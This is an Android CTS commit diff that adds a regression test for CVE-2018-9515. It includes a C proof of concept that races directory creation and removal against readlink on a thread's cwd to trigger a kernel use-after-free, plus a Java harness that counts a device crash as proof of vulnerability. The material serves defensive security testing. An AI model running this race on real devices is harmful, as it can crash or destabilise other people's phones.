CTS test for Android Security b/111641492 b/114102797

Test: successful run of newly introduced CTS test case.
Bug:111641492
Bug:114102797
Change-Id: I5ad5e171798ad53ae23e9fe5a1ab4b2393e61e2a
diff --git a/hostsidetests/securitybulletin/AndroidTest.xml b/hostsidetests/securitybulletin/AndroidTest.xml
index 5a34c16..7f3c9ba 100644
--- a/hostsidetests/securitybulletin/AndroidTest.xml
+++ b/hostsidetests/securitybulletin/AndroidTest.xml
@@ -169,6 +169,19 @@
         <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
         <option name="push" value="CVE-2018-9424->/data/local/tmp/CVE-2018-9424" />
 
+        <!--__________________-->
+        <!-- Bulletin 2018-08 -->
+        <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+
+        <!--__________________-->
+        <!-- Bulletin 2018-09 -->
+        <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+
+        <!--__________________-->
+        <!-- Bulletin 2018-10 -->
+        <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+        <option name="push" value="CVE-2018-9515->/data/local/tmp/CVE-2018-9515" />
+
         <option name="append-bitness" value="true" />
     </target_preparer>
 
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9515/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9515/Android.mk
new file mode 100644
index 0000000..3c8d79c
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9515/Android.mk
@@ -0,0 +1,30 @@
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2018-9515
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_COMPATIBILITY_SUITE := cts vts sts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS := -Wall -Werror
+
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9515/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9515/poc.c
new file mode 100644
index 0000000..a07c652
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9515/poc.c
@@ -0,0 +1,75 @@
+#define _GNU_SOURCE
+#include <pthread.h>
+#include <err.h>
+#include <stdio.h>
+#include <unistd.h>
+#include <string.h>
+#include <time.h>
+#include <sys/types.h>
+#include <sys/stat.h>
+#include <sys/syscall.h>
+#include "../includes/common.h"
+
+pid_t looper_pid;
+
+void *uaf_worker(__attribute__ ((unused)) void *unused) {
+  char cwd_path[100];
+  sprintf(cwd_path, "/proc/self/task/%d/cwd", (int)looper_pid);
+
+  time_t timer = start_timer();
+  while (is_timer_expired(timer)) {
+    char symlink_target[1000];
+    int len = readlink(cwd_path, symlink_target, sizeof(symlink_target)-1);
+    if (len > 0) {
+      symlink_target[len] = 0;
+    }
+  }
+
+  return NULL;
+}
+
+void *chaos_worker(__attribute__ ((unused)) void *unused) {
+  if (chdir("/sdcard/Android/data/CVE-2018-9515"))
+      err(1, "chdir");
+  rmdir("subdir");
+
+  time_t timer = start_timer();
+  while (is_timer_expired(timer)) {
+    if (mkdir("subdir", 0777))
+      err(1, "mkdir");
+    if (chdir("subdir"))
+      err(1, "chdir");
+    if (rmdir("../subdir"))
+      err(1, "rmdir");
+    if (chdir(".."))
+      err(1, "chdir");
+  }
+
+  return NULL;
+}
+
+int main(void) {
+  looper_pid = syscall(__NR_gettid);
+
+  pthread_t thread;
+  if (pthread_create(&thread, NULL, uaf_worker, NULL))
+    errx(1, "pthread_create failed");
+
+  pthread_t thread2;
+  if (pthread_create(&thread2, NULL, chaos_worker, NULL))
+    errx(1, "pthread_create failed");
+
+  char my_dir_name[100];
+  sprintf(my_dir_name, "/sdcard/Android/data/CVE-2018-9515/foobar");
+  rmdir(my_dir_name);
+
+  time_t timer = start_timer();
+  while (is_timer_expired(timer)) {
+    if (mkdir(my_dir_name, 0777))
+      err(1, "looper: mkdir");
+    if (rmdir(my_dir_name))
+      err(1, "looper: rmdir");
+  }
+
+  return 0;
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_10.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_10.java
new file mode 100644
index 0000000..f9daa8d
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_10.java
@@ -0,0 +1,39 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+
+@SecurityTest
+public class Poc18_10 extends SecurityTestCase {
+
+    /**
+     *  b/111641492
+     */
+    @SecurityTest
+    public void testPocCVE_2018_9515() throws Exception {
+        AdbUtils.runCommandLine("rm /sdcard/Android/data/CVE-2018-9515", getDevice());
+        AdbUtils.runCommandLine("mkdir /sdcard/Android/data/CVE-2018-9515", getDevice());
+        AdbUtils.runPocNoOutput("CVE-2018-9515", getDevice(), 300);
+        boolean vulnerableBecauseCrashed = getDevice().waitForDeviceNotAvailable(10_000);
+        if (vulnerableBecauseCrashed) {
+            // wait for device to come online so we can clean up
+            getDevice().waitForDeviceAvailable(120_000); // 2 minutes
+        }
+        AdbUtils.runCommandLine("rm -rf /sdcard/Android/data/CVE-2018-9515", getDevice());
+    }
+}